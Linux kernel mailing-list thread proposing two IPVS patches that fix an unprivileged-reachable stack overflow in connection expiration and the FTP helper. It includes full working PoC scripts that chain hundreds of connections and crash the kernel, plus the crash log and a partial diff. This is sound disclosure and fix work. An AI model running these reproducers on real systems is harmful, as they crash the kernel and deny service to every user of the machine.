* [PATCH nf v3 0/2] ipvs: avoid stack overflow from recursive connection expiration
@ 2026-09-20 9:31 Zihan Xi
2026-09-20 9:31 ` [PATCH nf v3 1/2] " Zihan Xi
2026-09-20 9:31 ` [PATCH nf v3 2/2] ipvs: reject FTP control ports as data ports Zihan Xi
0 siblings, 2 replies; 3+ messages in thread
From: Zihan Xi @ 2026-09-20 9:31 UTC (permalink / raw)
To: Simon Horman, Julian Anastasov
Cc: Zihan Xi, Pablo Neira Ayuso, Florian Westphal, Phil Sutter,
netdev, lvs-devel, netfilter-devel, coreteam, linux-kernel
Hi Linux kernel maintainers,
We found and validated an issue involving
net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c.
The bug is reachable by a non-root user through a user namespace and a
network namespace. We tested the fixes, and the tests showed no change to
other IPVS behavior.
This series contains 2 patches:
1/2 Replace recursive controller expiration with an iterative cleanup
path.
2/2 Reject zero and configured FTP control ports as data ports.
We will provide detailed information about the bug
in this email, along with PoCs to trigger it.
---- details below ----
Bug details:
The trigger entry point is ip_vs_ftp_out() in
net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply from the
real server and creates a wildcard data connection from the
advertised port.
The PoC uses port 21, the default FTP control port. ip_vs_conn_new() then
binds the FTP helper to the new connection again. Because the child has
IP_VS_CONN_F_NO_CPORT, the next connection from the same client to the VIP
on port 21 matches the wildcard child instead of creating a new top-level
entry. Repeating EPSV builds a controlled-connection chain.
The active-mode entry point, ip_vs_ftp_in(), has the same chain-building
condition when the derived data port is a configured control port.
It derives the data connection's virtual port from cp->vport - 1. With
ports={21,20}, the derived port is 20 and can bind the FTP helper again.
The FTP entry points are in ip_vs_ftp.c, but the stack-overflow root
cause is in the generic cleanup path in ip_vs_conn.c. When a controlled
connection expires, ip_vs_conn_expire() can call ip_vs_conn_del_put()
for its controller. If the controller timer is deleted, the old helper
calls ip_vs_conn_expire() recursively. A long controlled-connection chain
can then exhaust the kernel stack. The reproduced failure occurs during
network namespace teardown, but the cleanup bug is in the generic
controller-chain cleanup path, not a teardown-only special case.
Patch 1 changes ip_vs_conn_del_put() to report whether it deleted the
controller timer. ip_vs_conn_expire() follows that controller through a
repeat path instead of making a recursive call, so chain cleanup remains
synchronous while using one stack frame. It also keeps the temporary
reference until the controller is processed, handles a connection already
unlinked by a concurrent timer callback, and keeps the expiration path
under RCU before scheduling the delayed free.
Patch 2 rejects zero and configured FTP control ports before creating
passive data connections in ip_vs_ftp_out(), covering both PASV and EPSV.
It also rejects a zero active-mode client port and a data port derived
from a configured control port in ip_vs_ftp_in(). Valid data ports continue
through the existing path.
The recursive-cleanup root cause was introduced by
f9200a52eedf ("ipvs: avoid expiring many connections from timer"). The FTP
helper's acceptance of a configured control port is attributed
separately to 1da177e4c3f4 ("Linux-2.6.12-rc2"). These commits have
different root-cause facts, so the fixes use separate Fixes: tags.
Reproducer:
The actual reproducers are shell scripts with embedded Python. The baseline
run was:
SELF_UNSHARE=1 MODE=exit ./poc-original.sh 400
The fixed passive-mode run was:
SELF_UNSHARE=1 MODE=exit ./poc.sh 200
The fixed active-mode run used this complete kernel command line:
root=/dev/sda rw console=ttyS0 earlyprintk=serial net.ifnames=0 biosdevname=0 nokaslr panic_on_warn=0 oops=panic systemd.mask=sys-kernel-config.mount systemd.mask=systemd-remount-fs.service systemd.unit=multi-user.target ip_vs_ftp.ports=21,20
and this command:
SELF_UNSHARE=1 MODE=exit ./poc-active.sh 1
The active-mode validation used depth 1 to check the configured-port
guard; it was not used as a deeper chain stress test.
packetdrill was not used because this trigger requires namespace creation,
the legacy IPVS sockopt ABI, a cooperating TCP server, and namespace
teardown.
That complete control-plane setup and lifetime cannot be expressed by
packetdrill alone.
We run the PoCs in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The baseline was built from 70194dc37670 (7.3.0-rc2-g70194dc37670). The
fixed kernel was built from the same baseline with both patches applied
(7.3.0-rc2-g4f45973a22e6). Both builds completed successfully.
The baseline PoC exited with status 0. Its actual stdout was:
built 50 connections
built 100 connections
built 150 connections
built 200 connections
built 250 connections
built 300 connections
built 350 connections
built 400 connections
ip_vs_conn entries before trigger: 401
exiting namespace holder
The fixed passive PoC exited with status 0 and ended with:
built 200 connections
rejected control-port replies: 200/200
ip_vs_conn entries before trigger: 200
passive data connections created: 0
exiting namespace holder
It printed one control-port rejection line for each of the 200 attempts and
asserted both the 200/200 rejection count and the IPVS entry count.
The fixed
active PoC exited with status 0 and printed:
built 1 connections
ip_vs_conn entries before trigger: 1
derived data connections created: 0
exiting namespace holder
The fixed passive and active runs produced no KASAN, BUG, Oops, kernel panic,
stack-guard, or general-protection diagnostics. The baseline run produced
the crash during namespace teardown. The decoded crash excerpt below shows
the stack-out-of-bounds report, stack corruption, and repeated
ip_vs_conn_expire() frames.
The PoC scripts and decoded crash report are included below. The crash
excerpt is copied verbatim from the decoded report; only unrelated boot
output and register/disassembly details are omitted.
------BEGIN poc-original.sh------
#!/bin/sh
set -eu
DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"
if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
unshare -Urn -- "$0" "${DEPTH}"
fi
ulimit -n 65535 2>/dev/null || true
IP=/usr/sbin/ip
PYTHON=/usr/bin/python3
VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21
"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time
depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])
ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []
IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
class Svc(ctypes.Structure):
_fields_ = [
("protocol", ctypes.c_uint16),
("addr", ctypes.c_uint32),
("port", ctypes.c_uint16),
("fwmark", ctypes.c_uint32),
("sched_name", ctypes.c_char * 16),
("flags", ctypes.c_uint),
("timeout", ctypes.c_uint),
("netmask", ctypes.c_uint32),
]
class Dest(ctypes.Structure):
_fields_ = [
("addr", ctypes.c_uint32),
("port", ctypes.c_uint16),
("conn_flags", ctypes.c_uint),
("weight", ctypes.c_int),
("u_threshold", ctypes.c_uint32),
("l_threshold", ctypes.c_uint32),
]
def native_u32(ip):
return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
def ipvs_sock():
return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
def ipvs_flush():
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
finally:
s.close()
def ipvs_add_service():
svc = Svc()
svc.protocol = socket.IPPROTO_TCP
svc.addr = native_u32(vip)
svc.port = socket.htons(port)
svc.fwmark = 0
svc.sched_name = b"rr"
svc.flags = 0
svc.timeout = 0
svc.netmask = 0
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
finally:
s.close()
return svc
def ipvs_add_dest(svc):
dest = Dest()
dest.addr = native_u32(real)
dest.port = socket.htons(port)
dest.conn_flags = 0
dest.weight = 1
dest.u_threshold = 0
dest.l_threshold = 0
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
finally:
s.close()
def recv_line(sock):
data = bytearray()
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
raise RuntimeError("unexpected EOF")
data.extend(chunk)
return bytes(data)
def server():
try:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((real, port))
srv.listen(depth + 16)
ready.set()
for i in range(depth):
conn, addr = srv.accept()
conn.sendall(b"220 ready\r\n")
line = recv_line(conn)
if b"EPSV" not in line.upper():
raise RuntimeError(f"unexpected request on level {i}: {line!r}")
conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
accepted.append(conn)
while True:
time.sleep(1)
except BaseException as exc:
server_error.append(repr(exc))
ready.set()
try:
try:
ipvs_flush()
except OSError:
pass
service = ipvs_add_service()
ipvs_add_dest(service)
except OSError as exc:
raise SystemExit(f"ipvs setup failed: {exc}")
threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
raise SystemExit(f"server failed early: {server_error[0]}")
for i in range(depth):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((client_ip, 0))
s.connect((vip, port))
banner = recv_line(s)
if not banner.startswith(b"220 "):
raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
s.sendall(b"EPSV\r\n")
reply = recv_line(s)
if b"229 " not in reply:
raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}")
clients.append(s)
if (i + 1) % 50 == 0 or i + 1 == depth:
print(f"built {i + 1} connections", flush=True)
except BaseException as exc:
client_error.append(repr(exc))
break
if client_error:
raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
raise SystemExit(f"server failed: {server_error[0]}")
try:
with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
conn_lines = sum(1 for _ in f) - 1
except OSError:
conn_lines = -1
print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
if mode == "hold":
while True:
time.sleep(1)
elif mode == "flush":
ipvs_flush()
print("IPVS flush returned", flush=True)
while True:
time.sleep(1)
elif mode == "exit":
print("exiting namespace holder", flush=True)
sys.stdout.flush()
os._exit(0)
else:
raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-original.sh--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"
if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
unshare -Urn -- "$0" "${DEPTH}"
fi
ulimit -n 65535 2>/dev/null || true
IP=/usr/sbin/ip
PYTHON=/usr/bin/python3
VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21
"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time
depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])
ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []
rejected = 0
IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
class Svc(ctypes.Structure):
_fields_ = [
("protocol", ctypes.c_uint16),
("addr", ctypes.c_uint32),
("port", ctypes.c_uint16),
("fwmark", ctypes.c_uint32),
("sched_name", ctypes.c_char * 16),
("flags", ctypes.c_uint),
("timeout", ctypes.c_uint),
("netmask", ctypes.c_uint32),
]
class Dest(ctypes.Structure):
_fields_ = [
("addr", ctypes.c_uint32),
("port", ctypes.c_uint16),
("conn_flags", ctypes.c_uint),
("weight", ctypes.c_int),
("u_threshold", ctypes.c_uint32),
("l_threshold", ctypes.c_uint32),
]
def native_u32(ip):
return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
def ipvs_sock():
return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
def ipvs_flush():
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
finally:
s.close()
def ipvs_add_service():
svc = Svc()
svc.protocol = socket.IPPROTO_TCP
svc.addr = native_u32(vip)
svc.port = socket.htons(port)
svc.fwmark = 0
svc.sched_name = b"rr"
svc.flags = 0
svc.timeout = 0
svc.netmask = 0
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
finally:
s.close()
return svc
def ipvs_add_dest(svc):
dest = Dest()
dest.addr = native_u32(real)
dest.port = socket.htons(port)
dest.conn_flags = 0
dest.weight = 1
dest.u_threshold = 0
dest.l_threshold = 0
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
finally:
s.close()
def recv_line(sock):
data = bytearray()
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
raise RuntimeError("unexpected EOF")
data.extend(chunk)
return bytes(data)
def server():
try:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((real, port))
srv.listen(depth + 16)
ready.set()
for i in range(depth):
conn, addr = srv.accept()
conn.sendall(b"220 ready\r\n")
line = recv_line(conn)
if b"EPSV" not in line.upper():
raise RuntimeError(f"unexpected request on level {i}: {line!r}")
conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
accepted.append(conn)
while True:
time.sleep(1)
except BaseException as exc:
server_error.append(repr(exc))
ready.set()
try:
try:
ipvs_flush()
except OSError:
pass
service = ipvs_add_service()
ipvs_add_dest(service)
except OSError as exc:
raise SystemExit(f"ipvs setup failed: {exc}")
threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
raise SystemExit(f"server failed early: {server_error[0]}")
for i in range(depth):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((client_ip, 0))
s.connect((vip, port))
banner = recv_line(s)
if not banner.startswith(b"220 "):
raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
s.sendall(b"EPSV\r\n")
s.settimeout(0.2)
try:
reply = recv_line(s)
except socket.timeout:
rejected += 1
print(f"control-port reply rejected on level {i}", flush=True)
else:
raise RuntimeError(
f"control-port reply was not rejected on level {i}: {reply!r}"
)
clients.append(s)
if (i + 1) % 50 == 0 or i + 1 == depth:
print(f"built {i + 1} connections", flush=True)
except BaseException as exc:
client_error.append(repr(exc))
break
if client_error:
raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
raise SystemExit(f"server failed: {server_error[0]}")
if rejected != depth:
raise SystemExit(f"expected {depth} rejected replies, got {rejected}")
try:
with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
conn_lines = sum(1 for _ in f) - 1
except OSError:
conn_lines = -1
print(f"rejected control-port replies: {rejected}/{depth}", flush=True)
print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
if conn_lines != depth:
raise SystemExit(
f"expected {depth} IPVS entries, got {conn_lines}; "
"a passive data connection was created"
)
print(f"passive data connections created: {conn_lines - depth}", flush=True)
if mode == "hold":
while True:
time.sleep(1)
elif mode == "flush":
ipvs_flush()
print("IPVS flush returned", flush=True)
while True:
time.sleep(1)
elif mode == "exit":
print("exiting namespace holder", flush=True)
sys.stdout.flush()
os._exit(0)
else:
raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc.sh--------
------BEGIN poc-active.sh------
#!/bin/sh
set -eu
DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"
if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
unshare -Urn -- "$0" "${DEPTH}"
fi
ulimit -n 65535 2>/dev/null || true
IP=/usr/sbin/ip
PYTHON=/usr/bin/python3
VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21
"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time
depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])
ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []
IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
class Svc(ctypes.Structure):
_fields_ = [
("protocol", ctypes.c_uint16),
("addr", ctypes.c_uint32),
("port", ctypes.c_uint16),
("fwmark", ctypes.c_uint32),
("sched_name", ctypes.c_char * 16),
("flags", ctypes.c_uint),
("timeout", ctypes.c_uint),
("netmask", ctypes.c_uint32),
]
class Dest(ctypes.Structure):
_fields_ = [
("addr", ctypes.c_uint32),
("port", ctypes.c_uint16),
("conn_flags", ctypes.c_uint),
("weight", ctypes.c_int),
("u_threshold", ctypes.c_uint32),
("l_threshold", ctypes.c_uint32),
]
def native_u32(ip):
return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
def ipvs_sock():
return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
def ipvs_flush():
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
finally:
s.close()
def ipvs_add_service():
svc = Svc()
svc.protocol = socket.IPPROTO_TCP
svc.addr = native_u32(vip)
svc.port = socket.htons(port)
svc.fwmark = 0
svc.sched_name = b"rr"
svc.flags = 0
svc.timeout = 0
svc.netmask = 0
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
finally:
s.close()
return svc
def ipvs_add_dest(svc):
dest = Dest()
dest.addr = native_u32(real)
dest.port = socket.htons(port)
dest.conn_flags = 0
dest.weight = 1
dest.u_threshold = 0
dest.l_threshold = 0
s = ipvs_sock()
try:
s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
finally:
s.close()
def recv_line(sock):
data = bytearray()
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
raise RuntimeError("unexpected EOF")
data.extend(chunk)
return bytes(data)
def server():
try:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((real, port))
srv.listen(depth + 16)
ready.set()
for i in range(depth):
conn, addr = srv.accept()
conn.sendall(b"220 ready\r\n")
line = recv_line(conn)
if not line.upper().startswith(b"PORT "):
raise RuntimeError(f"unexpected request on level {i}: {line!r}")
conn.sendall(b"200 PORT command successful\r\n")
accepted.append(conn)
while True:
time.sleep(1)
except BaseException as exc:
server_error.append(repr(exc))
ready.set()
try:
try:
ipvs_flush()
except OSError:
pass
service = ipvs_add_service()
ipvs_add_dest(service)
except OSError as exc:
raise SystemExit(f"ipvs setup failed: {exc}")
threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
raise SystemExit(f"server failed early: {server_error[0]}")
for i in range(depth):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((client_ip, 0))
s.connect((vip, port))
banner = recv_line(s)
if not banner.startswith(b"220 "):
raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
s.sendall(b"PORT 198,51,100,3,4,1\r\n")
time.sleep(0.2)
clients.append(s)
if (i + 1) % 50 == 0 or i + 1 == depth:
print(f"built {i + 1} connections", flush=True)
except BaseException as exc:
client_error.append(repr(exc))
break
if client_error:
raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
raise SystemExit(f"server failed: {server_error[0]}")
try:
with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
conn_lines = sum(1 for _ in f) - 1
except OSError:
conn_lines = -1
print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
if conn_lines != depth:
raise SystemExit(
f"expected {depth} IPVS entries, got {conn_lines}; "
"a derived data connection was created"
)
print(f"derived data connections created: {conn_lines - depth}", flush=True)
if mode == "hold":
while True:
time.sleep(1)
elif mode == "flush":
ipvs_flush()
print("IPVS flush returned", flush=True)
while True:
time.sleep(1)
elif mode == "exit":
print("exiting namespace holder", flush=True)
sys.stdout.flush()
os._exit(0)
else:
raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-active.sh--------
----BEGIN crash log----
[ 40.621758] BUG: KASAN: stack-out-of-bounds in __unwind_start (arch/x86/kernel/unwind_orc.c:715)
[ 40.621785] Write of size 112 at addr ff11000007307e98 by task kworker/u8:0/12
[ 40.621785]
[ 40.621785] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy)
[ 40.621785] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 40.621785] Workqueue: netns cleanup_net
[ 40.621785] Call Trace:
[ 40.951167] BUG: unable to handle page fault for address: ff11000011430ff4
[ 40.951167] #PF: supervisor instruction fetch in kernel mode
[ 40.951167] #PF: error_code(0x0011) - permissions violation
[ 40.951167] PGD 6f1e067 P4D 6f1f067 PUD 6f20067 PMD 80000000114001e3
[ 40.951167] Thread overran stack, or stack corrupted
[ 40.951167] Oops: Oops: 0011 [#1] SMP KASAN NOPTI
[ 40.951167] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Tainted: G W 7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy)
[ 40.951167] Tainted: [W]=WARN
[ 40.951167] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 40.951167] Workqueue: 0x0 (events_freezable_pwr_efficient)
[ 40.951167] Call Trace:
[ 40.951167] <TASK>
[ 40.951167] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[ 40.951167] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[ 40.951167] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[ 40.951167] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[ 40.951167] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[ 40.951167] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[ 40.951167] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[ 40.951167] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[ 40.951167] </TASK>
[ 40.951167] Kernel panic - not syncing: Fatal exception
[ 40.951167] Shutting down cpus with NMI
[ 40.951167] Kernel Offset: disabled
[ 40.951167] ---[ end Kernel panic - not syncing: Fatal exception ]---
-----END crash log-----
changes in v3:
- Resend both fixes as one nf series, as requested by the maintainer.
- Handle the timer-callback race while keeping controller cleanup
iterative and synchronous.
- Refresh the PoC and crash evidence for the nf baseline.
- v2 Link:
https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
- Use an iterative repeat path for controller cleanup.
- Add the FTP-helper checks for configured control ports, including the
active-mode path.
- v1 Link:
https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/
Best regards,
Zihan Xi
Zihan Xi (2):
ipvs: avoid stack overflow from recursive connection expiration
ipvs: reject FTP control ports as data ports
net/netfilter/ipvs/ip_vs_conn.c | 78 +++++++++++++++++++++++++--------
net/netfilter/ipvs/ip_vs_ftp.c | 18 ++++++++
2 files changed, 77 insertions(+), 19 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH nf v3 1/2] ipvs: avoid stack overflow from recursive connection expiration
2026-09-20 9:31 [PATCH nf v3 0/2] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
@ 2026-09-20 9:31 ` Zihan Xi
2026-09-20 9:31 ` [PATCH nf v3 2/2] ipvs: reject FTP control ports as data ports Zihan Xi
1 sibling, 0 replies; 3+ messages in thread
From: Zihan Xi @ 2026-09-20 9:31 UTC (permalink / raw)
To: Simon Horman, Julian Anastasov
Cc: Zihan Xi, Pablo Neira Ayuso, Florian Westphal, Phil Sutter,
netdev, lvs-devel, netfilter-devel, coreteam, linux-kernel
When a controlled IPVS connection expires, its controller may be expired
synchronously if it has no remaining controlled connections. A chain of
controlled connections can then recurse through ip_vs_conn_expire() and
exhaust the kernel stack during namespace cleanup.
Use an iterative cleanup path so the controller chain is expired with one
stack frame. Keep the reference obtained for the controller until its
expiration step, and drop it while checking the hash table. This prevents a
concurrent lookup from rearming the timer after the connection has lost its
last reference.
Distinguish a connection already unlinked by a concurrent timer callback and
avoid rearming its timer. Run the expiration path under RCU so a callback
cannot outlive an RCU-delayed connection free.
Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v3:
- Handle a concurrent timer callback while keeping controller cleanup
iterative and synchronous.
- Keep expiration under RCU and avoid rearming an already unlinked
connection.
- v2 Link:
https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
- Replace recursive controller expiration with an iterative repeat path.
- v1 Link:
https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/
net/netfilter/ipvs/ip_vs_conn.c | 78 +++++++++++++++++++++++++--------
1 file changed, 59 insertions(+), 19 deletions(-)
diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
index 6fa3e1dc534c..d111010469f8 100644
--- a/net/netfilter/ipvs/ip_vs_conn.c
+++ b/net/netfilter/ipvs/ip_vs_conn.c
@@ -311,19 +311,30 @@ static inline int ip_vs_conn_hash(struct ip_vs_conn *cp)
}
/* Try to unlink ip_vs_conn from conn_tab.
- * returns bool success.
+ * returns the unlink state.
*/
-static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
+enum ip_vs_conn_unlink_state {
+ IP_VS_CONN_UNLINK_BUSY,
+ IP_VS_CONN_UNLINKED,
+ IP_VS_CONN_UNLINK_GONE,
+};
+
+static inline enum ip_vs_conn_unlink_state
+ip_vs_conn_unlink(struct ip_vs_conn *cp, bool has_ref)
{
struct netns_ipvs *ipvs = cp->ipvs;
struct hlist_bl_head *head, *head2;
u32 hash_key, hash_key2;
struct ip_vs_rht *t;
- bool ret = false;
+ enum ip_vs_conn_unlink_state state;
bool use2;
- if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
- return refcount_dec_if_one(&cp->refcnt);
+ if (cp->flags & IP_VS_CONN_F_ONE_PACKET) {
+ if (has_ref)
+ __ip_vs_conn_put(cp);
+ return refcount_dec_if_one(&cp->refcnt) ?
+ IP_VS_CONN_UNLINKED : IP_VS_CONN_UNLINK_BUSY;
+ }
rcu_read_lock();
local_bh_disable();
@@ -337,6 +348,9 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
false /* new_hash2 */, &head, &head2);
if (cp->flags & IP_VS_CONN_F_HASHED) {
+ if (has_ref)
+ __ip_vs_conn_put(cp);
+
/* Decrease refcnt and unlink conn only if we are last user */
if (use2 == ip_vs_conn_use_hash2(cp) &&
refcount_dec_if_one(&cp->refcnt)) {
@@ -344,8 +358,14 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
if (use2)
hlist_bl_del_rcu(&cp->hn1.node);
cp->flags &= ~IP_VS_CONN_F_HASHED;
- ret = true;
+ state = IP_VS_CONN_UNLINKED;
+ } else {
+ state = IP_VS_CONN_UNLINK_BUSY;
}
+ } else {
+ if (has_ref)
+ __ip_vs_conn_put(cp);
+ state = IP_VS_CONN_UNLINK_GONE;
}
conn_tab_unlock(head, head2);
@@ -353,7 +373,7 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
local_bh_enable();
rcu_read_unlock();
- return ret;
+ return state;
}
@@ -1331,24 +1351,29 @@ static void ip_vs_conn_del(struct ip_vs_conn *cp)
}
/* Try to delete connection while holding reference */
